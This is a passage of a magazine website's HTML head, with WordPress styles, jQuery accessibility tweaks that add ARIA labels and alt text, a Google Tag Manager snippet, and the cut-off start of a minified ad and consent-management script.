!important;}.has-post-font-font-family{font-family: var(--wp--preset--font-family--post-font) !important;}.has-h-1-font-font-family{font-family: var(--wp--preset--font-family--h-1-font) !important;} 82:root :where(.wp-block-button .wp-block-button__link){background-color: var(--theme-color-text_link);border-radius: 0;color: var(--theme-color-inverse_link);font-family: var(--theme-font-button_font-family);font-size: var(--theme-font-button_font-size);font-weight: var(--theme-font-button_font-weight);line-height: var(--theme-font-button_line-height);} 83:root :where(.wp-block-icon svg){width: 24px;} 84:where(.wp-block-gallery.is-layout-flex){gap: var( --wp--style--gallery-gap-default, var( --gallery-block--gutter-size, var( --wp--style--block-gap, 0.5em ) ) );}:where(.wp-block-gallery.is-layout-grid){gap: var( --wp--style--gallery-gap-default, var( --gallery-block--gutter-size, var( --wp--style--block-gap, 0.5em ) ) );} 85:where(.wp-block-latest-posts.is-layout-flex){gap: 1.25em;}:where(.wp-block-latest-posts.is-layout-grid){gap: 1.25em;} 86:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;} 87:where(.wp-block-term-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-term-template.is-layout-grid){gap: 1.25em;} 88:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;} 89:root :where(.wp-block-pullquote){border-width: 1px 0;font-size: clamp(0.984em, 0.984rem + ((1vw - 0.2em) * 0.851), 1.5em);line-height: 1.6;} 90:root :where(.wp-block-post-comments){padding-top: var(--wp--custom--spacing--small);} 91:root :where(.wp-block-quote){border-width: 1px;} 92/*# sourceURL=global-styles-inline-css */ 93</style> 94<link property="stylesheet" rel='stylesheet' id='powerkit-author-box-css' href='https://canvasrebel.com/wp-content/plugins/powerkit/modules/author-box/public/css/public-powerkit-author-box.css?ver=3.1.1' media='all' /> 95<link property="stylesheet" rel='stylesheet' id='powerkit-social-links-css' href='https://canvasrebel.com/wp-content/plugins/powerkit/modules/social-links/public/css/public-powerkit-social-links.css?ver=3.1.1' media='all' /> 96<link property="stylesheet" rel='stylesheet' id='powerkit-twitter-css' href='https://canvasrebel.com/wp-content/plugins/powerkit/modules/twitter/public/css/public-powerkit-twitter.css?ver=3.1.1' media='all' /> 97<link property="stylesheet" rel='stylesheet' id='trx-popup-style-css' href='https://canvasrebel.com/wp-content/plugins/trx_popup/css/style.css' media='all' /> 98<link property="stylesheet" rel='stylesheet' id='trx-popup-custom-css' href='https://canvasrebel.com/wp-content/plugins/trx_popup/css/custom.css' media='all' /> 99<link property="stylesheet" rel='stylesheet' id='trx-popup-stylesheet-css' href='https://canvasrebel.com/wp-content/plugins/trx_popup/css/fonts/Inter/stylesheet.css' media='all' /> 100<link property="stylesheet" rel='stylesheet' id='elementor-frontend-css' href='https://canvasrebel.com/wp-content/uploads/elementor/css/custom-frontend.min.css?ver=1790102482' media='all' /> 101<link property="stylesheet" rel='stylesheet' id='elementor-post-9016-css' href='https://canvasrebel.com/wp-content/uploads/elementor/css/post-9016.css?ver=1790102363' media='all' /> 102<link property="stylesheet" rel='stylesheet' id='elementor-gf-roboto-css' href='https://fonts.googleapis.com/css?family=Roboto:100,100italic,200,200italic,300,300italic,400,400italic,500,500italic,600,600italic,700,700italic,800,800italic,900,900italic&display=block' media='all' /> 103<link property="stylesheet" rel='stylesheet' id='elementor-gf-robotoslab-css' href='https://fonts.googleapis.com/css?family=Roboto+Slab:100,100italic,200,200italic,300,300italic,400,400italic,500,500italic,600,600italic,700,700italic,800,800italic,900,900italic&display=block' media='all' /> 104<style id="kadence-blocks-global-variables-inline-css"> 105:root {--global-kb-font-size-sm:clamp(0.8rem, 0.73rem + 0.217vw, 0.9rem);--global-kb-font-size-md:clamp(1.1rem, 0.995rem + 0.326vw, 1.25rem);--global-kb-font-size-lg:clamp(1.75rem, 1.576rem + 0.543vw, 2rem);
105--global-kb-font-size-xl:clamp(2.25rem, 1.728rem + 1.63vw, 3rem);--global-kb-font-size-xxl:clamp(2.5rem, 1.456rem + 3.26vw, 4rem);--global-kb-font-size-xxxl:clamp(2.75rem, 0.489rem + 7.065vw, 6rem);}:root {--global-palette1: #3182CE;--global-palette2: #2B6CB0;--global-palette3: #1A202C;--global-palette4: #2D3748;--global-palette5: #4A5568;--global-palette6: #718096;--global-palette7: #EDF2F7;--global-palette8: #F7FAFC;--global-palette9: #ffffff;} 106/*# sourceURL=kadence-blocks-global-variables-inline-css */ 107</style> 108<link property="stylesheet" rel='stylesheet' id='mediaelement-css' href='https://canvasrebel.com/wp-includes/js/mediaelement/mediaelementplayer-legacy.min.css?ver=4.2.17' media='all' /> 109<link property="stylesheet" rel='stylesheet' id='wp-mediaelement-css' href='https://canvasrebel.com/wp-includes/js/mediaelement/wp-mediaelement.min.css?ver=4eccbeb59b33e14c32efe5f7a9710e41' media='all' />
110<script id="jquery-core-js" src="https://canvasrebel.com/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
vendor: 1 bytes, line 110
110
111<script id="jquery-migrate-js" src="https://canvasrebel.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
111 112<link rel="https://api.w.org/" href="https://canvasrebel.com/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://canvasrebel.com/wp-json/wp/v2/categories/38" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://canvasrebel.com/xmlrpc.php?rsd" />
113<script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
113
114<script> 115 jQuery(document).ready(function() { 116 console.log("test header"); 117 jQuery('.sf-with-ul.trx_addons_icon-ellipsis-vert').attr('aria-label', 'menu option'); 118 jQuery('.post_content_single h5').attr("aria-level","2"); 119 jQuery('.search_form_wrap form:eq(0)').attr("aria-label","Header Search"); 120 jQuery('.search_form_wrap form:eq(1)').attr("aria-label","Sticky Header Search"); 121 jQuery('.search_form_wrap form:eq(2)').attr("aria-label","Mobile search"); 122 // jQuery('.search_form_wrap form:eq(3)').attr("aria-label","Left slider search"); 123 jQuery('.page_content_wrap').attr("role","main"); 124 jQuery('#left_panel_1').attr("role","navigation"); 125 jQuery('#left_panel_1').attr("aria-label","Main Website Menu"); 126 jQuery('.main-header-search button').attr("aria-label","open search"); 127 jQuery('.Category-menu nav').attr("aria-label","Category menu"); 128 jQuery('.sc_socials.sc_socials_default.sc_align_none a').attr("aria-label","instagram, opens in new tab"); 129 jQuery('.post--title').attr("aria-level","3"); 130 jQuery('.sub-title').attr("role","none"); 131 jQuery('.logo_image').attr("alt","CanvasRebel Magazine logo"); 132 jQuery('.social_item.social_item_popup[data-count="facebook-1"]').attr('aria-label', 'Share this article on Facebook. Opens a modal dialog in the same window.'); 133 jQuery('.social_item.social_item_popup[data-count="twitter-1"]').attr('aria-label', 'Share this article on Twitter. Opens a modal dialog in the same window.'); 134 jQuery('.social_item[data-count="link-3"]').attr('aria-label', 'Copy this article link'); 135 jQuery('.social_item[data-count="email-1"]').attr('aria-label', 'Share this article via email. Opens email application'); 136 jQuery('br').attr('aria-hidden', 'true'); 137 jQuery('.comment-respond h4, .post_share_label').attr('aria-level', '2'); 138 jQuery('.sc_layouts_title_caption').attr('role', 'none'); 139 jQuery('.post-title').attr('aria-level', '3'); 140 jQuery('.nav-previous a').attr('aria-label', 'previous post'); 141 jQuery('.nav-next a').attr('aria-label', 'next post'); 142 jQuery('.kicker_skip_link_anchor').attr('aria-label', 'skip to footer'); 143 jQuery('.kicker_skip_link_anchor').attr('tabindex', '-1'); 144 jQuery('.search_field').attr('aria-label', 'search field'); 145 jQuery('.menu-item.menu-collapse a').attr('aria-label', 'menu option'); 146 jQuery('.menu-item.menu-collapse a').attr('tabindex', '-1'); 147 jQuery('.top_panel_custom_header-single-post nav').attr('aria-label', 'primary'); 148 jQuery('.nav-links-with-thumbs nav').attr('aria-label', 'Slider post'); 149 jQuery('.list-posts').attr('role', 'list'); 150 jQuery('.list-posts .post').attr('role', 'listitem'); 151 152 jQuery('.post_content.post_content_single.entry-content.post_info_vertical_present').attr('role', 'list'); 153 jQuery('.post_content.post_content_single.entry-content.post_info_vertical_present .post_title.entry-title').attr('role', 'listitem'); 154 155 156 157 }); 158 159 160 setTimeout(function(){ 161 jQuery('.trx_addons_panel_link').attr("aria-label","Open Navigation menu"); 162 jQuery('.menu-item.menu-collapse a:eq(0)').attr('aria-label', 'menu option'); 163 jQuery('.sf-with-ul.trx_addons_icon-ellipsis-vert').attr('aria-label', 'menu option'); 164 jQuery('.post_author_avatar img').attr('alt', ''); 165 jQuery('.social_item social_item_style_icons.sc_icon_type_icons.social_item_type_icons').attr('aria-label', 'Instagram'); 166 jQuery('label.required').append('<span class="required-star"> *</span>'); 167 jQuery('.social_items.inited').attr('role', 'list'); 168 jQuery('.social_items.inited').attr('aria-label', 'Share this Article'); 169 jQuery('.social_items.inited a').attr('role', 'listitem'); 170 }, 171 2000); 172 173 174 175 jQuery(document).ready(function() { 176 // 1. Target all article containers on the page 177 jQuery('.post').each(function() { 178 var $post = jQuery(this); 179 // 2. Get the H2 text (the title of the post) 180 // .trim() is used to remove extra white space/newlines 181 var postTitle = $post.find('.post--title a').text().trim(); 182 // 3. Find the image within the current post container 183 var $image = $post.find('.post--thumb img'); 184 // 4. Set the alt attribute of the image 185 if (postTitle && $image.length) { 186 $image.attr('alt', postTitle); 187 } 188 });
189 console.log("All post image alt attributes updated."); 190 191 192 193 jQuery(".stay-up-posts-section").each(function() { 194 // Find the h2 title inside this section 195 var readMoreButton = jQuery(this).find("h2.title").text().trim(); 196 // Find the read more button inside this section and add aria-label 197 jQuery(this).find(".read-more-btn").attr("aria-label", "More Stories about " + readMoreButton); 198 }); 199 200 jQuery(".stories-posts-section").each(function() { 201 // Find the h2 title inside this section 202 var readMoreButton1 = jQuery(this).find("h2.title").text().trim(); 203 // Find the read more button inside this section and add aria-label 204 jQuery(this).find(".read-more-btn").attr("aria-label", "More Stories about " + readMoreButton1); 205 }); 206 207 jQuery(".list-post-wrap").each(function() { 208 // Get section title (e.g., RECENT REVIEWS) 209 var sectionTitle = jQuery(this).find("h2.title-wg").text().trim(); 210 // Add aria-label to the "More Stories" button 211 jQuery(this).find(".btn-read-more").attr("aria-label", "More stories from " + sectionTitle); 212 }); 213 214 215 jQuery('.post_header_wrap_style_style-10.with_featured_image').each(function(){ 216 var heading = $(this).find('h1.post_title').text().trim(); 217 var img = jQuery(this).find('img'); 218 if(heading && img.length){ 219 img.attr('alt', heading); 220 } 221 }); 222 223 jQuery('h2.post_title').each(function() { 224 // Get heading text only (ignore image) 225 var headingText = $(this).clone() // clone the h2 226 .children('img') // find the img inside 227 .remove() // remove img from the clone 228 .end() // return to the h2 229 .text() // get text only 230 .trim(); // clean spaces 231 // Find image(s) inside this h2 232 jQuery(this).find('img').each(function() { 233 if (!jQuery(this).attr('alt') || jQuery(this).attr('alt').trim() === '') { 234 jQuery(this).attr('alt', headingText); 235 } 236 }); 237 }); 238 239 jQuery('.post_title.entry-title').each(function() { 240 var personName = jQuery(this).clone().children().remove().end().text().trim(); 241 jQuery(this).nextAll('p').find('a:contains("Read more")').attr('aria-label', 'Read more about ' + personName); 242 }); 243 244 245 jQuery('.nav-previous a[rel="prev"]').each(function() { 246 var postTitle = jQuery(this).find('.post-title').text().trim(); 247 jQuery(this).attr('aria-label', 'Previous post ' + postTitle); 248 }); 249 250 jQuery('.nav-next a[rel="next"]').each(function() { 251 var postTitle = jQuery(this).find('.post-title').text().trim(); 252 jQuery(this).attr('aria-label', 'Next post ' + postTitle); 253 }); 254 255 256jQuery('.sc_layouts_item_link.sc_layouts_iconed_text_link.inited_click').on('click', function(e) { 257 e.preventDefault(); 258 let isExpanded = jQuery(this).attr('aria-expanded') === 'true'; 259 jQuery(this).attr('aria-expanded', String(!isExpanded)); // ensure value is string, not boolean 260}); 261 262 263 jQuery('.post--date a').each(function () { 264 const dateText = jQuery(this).text().trim(); 265 jQuery(this).attr('aria-label', 'posted date: ' + dateText); 266 267}); 268 269}); 270 271 272 273</script>
273 274<meta name="robots" content="noarchive">
275<script> 276jQuery(document).ready(function($){ 277 $('a[href]:not([href^="https://canvasrebel.com"]):not([href^="#"]):not([href^="/"])').attr( 'target', '_blank' ); 278}); 279</script>
279 280<!-- 281JQuery is required, you can use Google's CDN for it or self-host it.
282<script src="https://canvasrebel.com/wp-content/themes/kicker-child/zepto.min.js"></script>
282 283 You can modify the URL used below to include our different query flags like how we included &vpn=1. 284
284<script src="https://canvasrebel.com/wp-content/themes/kicker-child/menujquery.js"></script>
284 285-->
286<script> 287//right-click is disabled for images with Post ID 1606485 288document.addEventListener("DOMContentLoaded", function() { 289 // Check if we're on the specific post (Post ID: 1606485) 290 if (document.body.classList.contains('postid-1606485')) { 291 // Select all images within the post 292 let images = document.querySelectorAll('.postid-1606485 img'); 293 // Disable right-click for each image 294 images.forEach(function(image) { 295 image.addEventListener('contextmenu', function(event) { 296 event.preventDefault(); 297 }); 298 }); 299 } 300}); 301</script>
301 302<meta name="generator" content="Elementor 4.2.4; features: e_font_icon_svg, additional_custom_breakpoints; settings: css_print_method-external, google_font-enabled, font_display-block"> 303 <style> 304 .e-con.e-parent:nth-of-type(n+4):not(.e-lazyloaded):not(.e-no-lazyload), 305 .e-con.e-parent:nth-of-type(n+4):not(.e-lazyloaded):not(.e-no-lazyload) * { 306 background-image: none !important; 307 } 308 @media screen and (max-height: 1024px) { 309 .e-con.e-parent:nth-of-type(n+3):not(.e-lazyloaded):not(.e-no-lazyload), 310 .e-con.e-parent:nth-of-type(n+3):not(.e-lazyloaded):not(.e-no-lazyload) * { 311 background-image: none !important; 312 } 313 } 314 @media screen and (max-height: 640px) { 315 .e-con.e-parent:nth-of-type(n+2):not(.e-lazyloaded):not(.e-no-lazyload), 316 .e-con.e-parent:nth-of-type(n+2):not(.e-lazyloaded):not(.e-no-lazyload) * { 317 background-image: none !important; 318 } 319 } 320 </style> 321 <!-- Google Tag Manager -->
322<script>
vendor: 331 bytes, lines 322-326
322(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': 323new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0], 324j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 325'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); 326})(window,document,'script','dataLayer','
326GTM-54DQVGFK
vendor: 3 bytes, line 326
326');
326</script>
326 327<!-- End Google Tag Manager --><link rel="icon" href="https://cdn.canvasrebel.com/wp-content/uploads/2022/03/Favicon.png" sizes="32x32" /> 328<link rel="icon" href="https://cdn.canvasrebel.com/wp-content/uploads/2022/03/Favicon.png" sizes="192x192" /> 329<link rel="apple-touch-icon" href="https://cdn.canvasrebel.com/wp-content/uploads/2022/03/Favicon.png" /> 330<meta name="msapplication-TileImage" content="https://cdn.canvasrebel.com/wp-content/uploads/2022/03/Favicon.png" />
331<script data-no-optimize='1' data-cfasync='false' id='comscore-loader-e328f0f'>(function(){window.adthriveCLS.buildDate=`2026-09-23`;var e=class{},t=class extends e{constructor(e,t=Math.random){super(),this._probability=e,this._random=t}get(){if(this._probability<0||this._probability>1)throw Error(`Invalid probability: ${this._probability}`);return this._random()<this._probability}};function n(e){"@babel/helpers - typeof";return n=typeof Symbol==`function`&&typeof Symbol.iterator==`symbol`?function(e){return typeof e}:function(e){return e&&typeof Symbol==`function`&&e.constructor===Symbol&&e!==Symbol.prototype?`symbol`:typeof e},n(e)}function r(e,t){if(n(e)!=`object`||!e)return e;var r=e[Symbol.toPrimitive];if(r!==void 0){var i=r.call(e,t||`default`);if(n(i)!=`object`)return i;throw TypeError(`@@toPrimitive must return a primitive value.`)}return(t===`string`?String:Number)(e)}function i(e){var t=r(e,`string`);return n(t)==`symbol`?t:t+``}function a(e,t,n){return(t=i(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var o=class{constructor(){a(this,`_featureRollouts`,{}),a(this,`_checkedFeatureRollouts`,new Map),a(this,`_enabledFeatureRolloutIds`,[])}get siteFeatureRollouts(){return this._featureRollouts}_isRolloutEnabled(e){if(this._doesRolloutExist(e)){let n=this._featureRollouts[e],r=n.enabled,i=n.data;if(this._doesRolloutHaveConfig(e)&&this._isFeatureRolloutConfigType(i)){let e=(i.pct_enabled??100)/100;r&&=new t(e).get()}return r}return!1}isRolloutEnabled(e){let t=this._checkedFeatureRollouts.get(e)??this._isRolloutEnabled(e);return this._checkedFeatureRollouts.get(e)===void 0&&this._checkedFeatureRollouts.set(e,t),t}isRolloutAdministrativelyEnabled(e){return this._doesRolloutExist(e)&&this._featureRollouts[e].enabled}_doesRolloutExist(e){return this._featureRollouts&&!!this._featureRollouts[e]}_doesRolloutHaveConfig(e){return this._doesRolloutExist(e)&&`data`in this._featureRollouts[e]}_isFeatureRolloutConfigType(e){return typeof e==`object`&&!!e&&!!Object.keys(e).length}getSiteRolloutConfig(e){var t;let n=this.isRolloutEnabled(e),r=(t=this._featureRollouts[e])==null?void 0:t.data;return n&&this._doesRolloutHaveConfig(e)&&this._isFeatureRolloutConfigType(r)?r:{}}get enabledFeatureRolloutIds(){return this._enabledFeatureRolloutIds}},s=class extends o{constructor(e){super(),this._featureRollouts=e,this._setEnabledFeatureRolloutIds()}_setEnabledFeatureRolloutIds(){Object.entries(this._featureRollouts).forEach(([e,t])=>{this.isRolloutEnabled(e)&&t.featureRolloutId!==void 0&&this._enabledFeatureRolloutIds.push(t.featureRolloutId)})}},c,l;let u=(c=window.adthrive)==null||(c=c.siteAds)==null?void 0:c.featureRollouts,d=(l=window.adthriveCLS)==null||(l=l.siteAds)==null?void 0:l.featureRollouts,f=e=>!!e&&typeof e==`object`&&Object.keys(e).length>0,ee=new s(f(d)&&d||f(u)&&u||{}),p=new class{info(e,t,...n){this.call(console.info,e,t,...n)}warn(e,t,...n){this.call(console.warn,e,t,...n)}error(e,t,...n){this.call(console.error,e,t,...n),this.sendErrorLogToCommandQueue(e,t,...n)}event(e,t,...n){var r;((r=window.adthriveCLS)==null?void 0:r.bucket)===`debug`&&this.info(e,t)}sendErrorLogToCommandQueue(e,t,...n){window.adthrive=window.adthrive||{},window.adthrive.cmd=window.adthrive.cmd||[],window.adthrive.cmd.push(()=>{window.adthrive.logError!==void 0&&typeof window.adthrive.logError==`function`&&window.adthrive.logError(e,t,n)})}call(e,t,n,...r){let i=[`%c${t}::${n} `],a=[`color: #999; font-weight: bold;`];r.length>0&&typeof r[0]==`string`&&i.push(r.shift()),a.push(...r);try{Function.prototype.apply.call(e,console,[i.join(``),...a])}catch(e){console.error(e);return}}},m=e=>{let t={};return function(...n){let r=JSON.stringify(n);if(r in t)return t[r];let i=e.apply(this,n);return t[r]=i,i}};navigator.vendor;let h=navigator.userAgent,g=m(e=>/Chrom|Applechromium/.test(e||h)),_=m(()=>/WebKit/.test(h)),v=m(()=>g()?`chromium`:_()?`webkit`:`other`),y=e=>/(Windows NT|Macintosh|X11;[^)]*(Linux|CrOS))/i.test(e),b=e=>/Mobi|iP(hone|od)|Opera Mini/i.test(e),x=e=>!/iPhone/i.test(e)&&/Mac/i.test(e)&&`ontouchstart`in window,S=e=>/Tablet|iPad|Playbook|Nook|webOS|Kindle|Android (?!.*Mobile).*Safari/i.test(e)||x(e),C=m((e=h)=>S(e)?`tablet`:b(e)&&!S(e)?`mobile`:y(e)?`desktop`:`tablet`),w=e=>{let t=v(),n=C(),r=e.siteAdsProfiles,i=null;if(r&&r.length)for(let e of r){let r=e.targeting.device,a=e.targeting.browserEngine,o=r&&r.length&&r.includes(n),s=a&&a.length&&a.includes(t);o&&s&&(i=e)}return i};var T=class{constructor(){a(this,`name`,void 0),a(this,`disable`,void 0),a(this,`gdprPurposes`,void 0)}};let E=`__adthriveTcfApiStub`,D=`__tcfapiLocator`,O=[],k=!1,A,j=e=>typeof e==`function`&&!!e[E],M=(e,t=2)=>{let n=O.findIndex(([n,r,i])=>n===`getTCData`&&r===t&&i===e);return n===-1?!1:(O.splice(n,1),!0)},N=()=>{let e=()=>{if(document.querySelector(`iframe[name="${D}"]`))return;if(!document.body){setTimeout(e,5);return}let t=document.createElement(`iframe`);t.style.cssText=`display:none`,t.name=D,document.body.appendChild(t)};e()},P=()=>{let e=window.__tcfapi;return typeof e==`function`&&!j(e)?e:void 0},F=()=>{let e=P();if(e)for(;O.length>0;){let t=O.shift();if(t)try{e(t[0],t[1],t[2],t[3])}catch(e){e instanceof Error&&e.message}}},I=()=>
331{if(k)return;if(k=!0,P()){F();return}let e=window.__tcfapi;Object.defineProperty(window,"__tcfapi",{configurable:!0,enumerable:!0,get:()=>e,set:t=>{e=t,typeof t==`function`&&!j(t)&&F()}})},L=()=>{let e=(e,t=2,n,r)=>{if(e===void 0)return O;switch(e){case`ping`:typeof n==`function`&&n({gdprApplies:A,cmpLoaded:!1,cmpStatus:`stub`,apiVersion:`2.0`},!0);return;case`setGdprApplies`:parseInt(String(t),10)>=2&&typeof r==`boolean`&&(A=r,typeof n==`function`&&n(`set`,!0));return;default:O.push([e,t,n,r])}};return Object.defineProperty(e,E,{value:!0,configurable:!1,enumerable:!1,writable:!1}),e},R=()=>{window.addEventListener(`message`,e=>{let t=typeof e.data==`string`,n={};if(t)try{n=JSON.parse(e.data)}catch{return}else n=e.data;let r=typeof n==`object`&&n?n.__tcfapiCall:void 0;if(!r)return;let i=e.source;window.__tcfapi(r.command,r.version,(e,n)=>{let a={__tcfapiReturn:{returnValue:e,success:n,callId:r.callId}};i==null||i.postMessage(t?JSON.stringify(a):a,`*`)},r.parameter)},!1)},z=()=>{if(I(),P())return!1;let e=!1;return j(window.__tcfapi)||(window.__tcfapi=L(),R(),e=!0),N(),window.__tcfapiQueue=O,e},B=(e,t=2,n,r)=>{if(e===void 0)return;let i=P();i?i(e,t,n,r):(O.push([e,t,n,r]),z())},V=(e,t=2,n,r)=>{B(e,t,n,r)},H=(e=1e4)=>new Promise((t,n)=>{let r,i=!1,a=(e,a)=>{i||(i=!0,r&&clearTimeout(r),a&&e?t(e):n(Error(`Failed to retrieve TCData`)))};e>0&&(r=setTimeout(()=>{i||(i=!0,M(a,2),n(Error(`TCF API request timed out`)))},e)),V(`getTCData`,2,a)}),U=[`mcmpfreqrec`],W=new class extends T{constructor(...e){super(...e),a(this,`name`,`BrowserStorage`),a(this,`disable`,!1),a(this,`gdprPurposes`,[1]),a(this,`_sessionStorageHandlerQueue`,[]),a(this,`_localStorageHandlerQueue`,[]),a(this,`_cookieHandlerQueue`,[]),a(this,`_gdpr`,void 0),a(this,`_shouldQueue`,!1),a(this,`_storageConsentGranted`,void 0),a(this,`_storageConsentUpdateInFlight`,0),a(this,`_storageConsentBeforeLatestUpdate`,void 0)}init(e,t){this._gdpr=e.gdpr===`true`,this._shouldQueue=this._gdpr,this._gdpr&&t&&(t.consentResponseCaptured.on(()=>{this._refreshStorageConsent(`consentResponseCaptured`)}),t.consentChanged.on(()=>{this._refreshStorageConsent(`consentChanged`)}))}_isGdprFromGlobal(){if(typeof window>`u`||!window.adthrive)return!1;let e=window.adthrive;return`gdprEnabled`in e?!!e.gdprEnabled:e.gdpr===`true`}_shouldQueueWrite(){return this._gdpr===void 0?this._isGdprFromGlobal():this._gdpr&&this._shouldQueue}isInGdprQueueMode(){return this._shouldQueueWrite()}_refreshStorageConsent(e){this._storageConsentBeforeLatestUpdate=this._storageConsentGranted,this._storageConsentUpdateInFlight+=1,this._updateStorageConsent().catch(e=>{}).then(()=>{this._storageConsentUpdateInFlight=Math.max(0,this._storageConsentUpdateInFlight-1)})}async _updateStorageConsent(){var e;let t=await H();!(t==null||(e=t.purpose)==null)&&e.consents&&(this._storageConsentGranted=t.purpose.consents[1]===!0)}_getStorageWriteAvailability(e,t){try{let n=window[e];n.setItem(t,`1`);let r=n.getItem(t);return n.removeItem(t),r===`1`?{available:!0}:{available:!1,error:Error(`${e} write probe value mismatch`)}}catch(e){return{available:!1,error:e}}}getStorageApiAvailability(){return{localStorage:this._getStorageWriteAvailability(`localStorage`,`__adthrive_localstorage_test__`).available,sessionStorage:this._getStorageWriteAvailability(`sessionStorage`,`__adthrive_sessionstorage_test__`).available}}clearQueue(e,t){t!==void 0&&(this._storageConsentGranted=t);let n=this._gdpr&&this._hasStorageConsent()===!1,r=e&&n&&this.disable===!1&&this._storageConsentUpdateInFlight>0&&this._storageConsentBeforeLatestUpdate===!1;r&&(this._storageConsentGranted=!0),e&&(!n||r)&&(this._shouldQueue=!1,this._sessionStorageHandlerQueue.forEach(e=>{this.setSessionStorage(e.key,e.value)}),this._localStorageHandlerQueue.forEach(e=>{if(e.key===`adthrive_abgroup`){let t=Object.keys(e.value)[0],n=e.value[t],r=e.value[`${t}_weight`];this.getOrSetABGroupLocalStorageValue(t,n,r,{value:24,unit:`hours`})}else e.expiry?e.type===`internal`?this.setExpirableInternalLocalStorage(e.key,e.value,{expiry:e.expiry,resetOnRead:e.resetOnRead}):this.setExpirableExternalLocalStorage(e.key,e.value,{expiry:e.expiry,resetOnRead:e.resetOnRead}):e.type===`internal`?this.setInternalLocalStorage(e.key,e.value):this.setExternalLocalStorage(e.key,e.value)}
331),this._cookieHandlerQueue.forEach(e=>{e.type===`internal`?this.setInternalCookie(e.key,e.value):this.setExternalCookie(e.key,e.value)})),this._sessionStorageHandlerQueue=[],this._localStorageHandlerQueue=[],this._cookieHandlerQueue=[]}readInternalCookie(e){return this._verifyInternalKey(e),this._readCookie(e)}readExternalCookie(e){return this._readCookie(e)}readExternalCookieList(e){return this._readCookieList(e)}getAllCookies(){return this._getCookies()}readInternalLocalStorage(e){return this._verifyInternalKey(e),this._readFromLocalStorage(e)}readExternalLocalStorage(e){return this._readFromLocalStorage(e)}readSessionStorage(e){let t=window.sessionStorage.getItem(e);if(!t)return null;try{return JSON.parse(t)}catch{return t}}getLocalStorageWriteAvailability(){return this._getStorageWriteAvailability(`localStorage`,`__adthrive_local_storage_probe__`)}deleteCookie(e){if(!this.disable){if(this._shouldQueueWrite()){this._cookieHandlerQueue=this._cookieHandlerQueue.filter(t=>t.key!==e);return}document.cookie=`${e}=; SameSite=None; Secure; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/`}}purgeCookie(e){this._cookieHandlerQueue=this._cookieHandlerQueue.filter(t=>t.key!==e);try{document.cookie=`${e}=; SameSite=None; Secure; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/`}catch{}}deleteLocalStorage(e){if(!this.disable){if(this._shouldQueueWrite()){this._localStorageHandlerQueue=this._localStorageHandlerQueue.filter(t=>t.key!==e);return}window.localStorage.removeItem(e)}}purgeLocalStorage(e){this._localStorageHandlerQueue=this._localStorageHandlerQueue.filter(t=>t.key!==e);try{window.localStorage.removeItem(e)}catch{}}deleteSessionStorage(e){if(!this.disable){if(this._shouldQueueWrite()){this._sessionStorageHandlerQueue=this._sessionStorageHandlerQueue.filter(t=>t.key!==e);return}window.sessionStorage.removeItem(e)}}purgeSessionStorage(e){this._sessionStorageHandlerQueue=this._sessionStorageHandlerQueue.filter(t=>t.key!==e);try{window.sessionStorage.removeItem(e)}catch{}}_hasStorageConsent(){if(this._storageConsentGranted!==void 0)return this._storageConsentGranted}setInternalCookie(e,t,n){this.disable||(this._verifyInternalKey(e),this._setCookieValue(`internal`,e,t,n))}setExternalCookie(e,t,n){this.disable||this._setCookieValue(`external`,e,t,n)}setInternalLocalStorage(e,t){if(!this.disable)if(this._verifyInternalKey(e),this._shouldQueueWrite()){let n={key:e,value:t,type:`internal`};this._localStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.localStorage.setItem(e,n)}}setExternalLocalStorage(e,t){if(!this.disable)if(this._shouldQueueWrite()){let n={key:e,value:t,type:`external`};this._localStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.localStorage.setItem(e,n)}}setExpirableInternalLocalStorage(e,t,n){if(!this.disable){this._verifyInternalKey(e);try{let r=(n==null?void 0:n.expiry)??{value:400,unit:`days`},i=(n==null?void 0:n.resetOnRead)??!1;if(this._shouldQueueWrite()){let n={key:e,value:t,type:`internal`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};this._localStorageHandlerQueue.push(n)}else{let n={value:t,type:`internal`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};window.localStorage.setItem(e,JSON.stringify(n))}}catch(e){console.error(e)}}}setExpirableExternalLocalStorage(e,t,n){if(!this.disable)try{let r=(n==null?void 0:n.expiry)??{value:400,unit:`days`},i=(n==null?void 0:n.resetOnRead)??!1;if(this._shouldQueueWrite()){let n={key:e,value:JSON.stringify(t),type:`external`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};this._localStorageHandlerQueue.push(n)}else{let n={value:t,type:`external`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};window.localStorage.setItem(e,JSON.stringify(n))}}catch(e){console.error(e)}}setSessionStorage(e,t){if(!this.disable)if(this._shouldQueueWrite()){let n={key:e,value:t};this._sessionStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.sessionStorage.setItem(e,n)}}getOrSetABGroupLocalStorageValue(e,t,n,r,i=!0){let a=`adthrive_abgroup`;if(this._shouldQueueWrite()){let o={[e]:t,[`${e}_weight`]:n};return r?this.setExpirableInternalLocalStorage(a,o,{expiry:r,resetOnRead:i}):this.setInternalLocalStorage(a,o),[t,n]}let o=this.readInternalLocalStorage(a);if(o!==null){let t=o[e],n=o[`${e}_weight`]??null;if(this._isValidABGroupLocalStorageValue(t))return[t,n]}let s={...o,[e]:t,[`${e}_weight`]:n};return 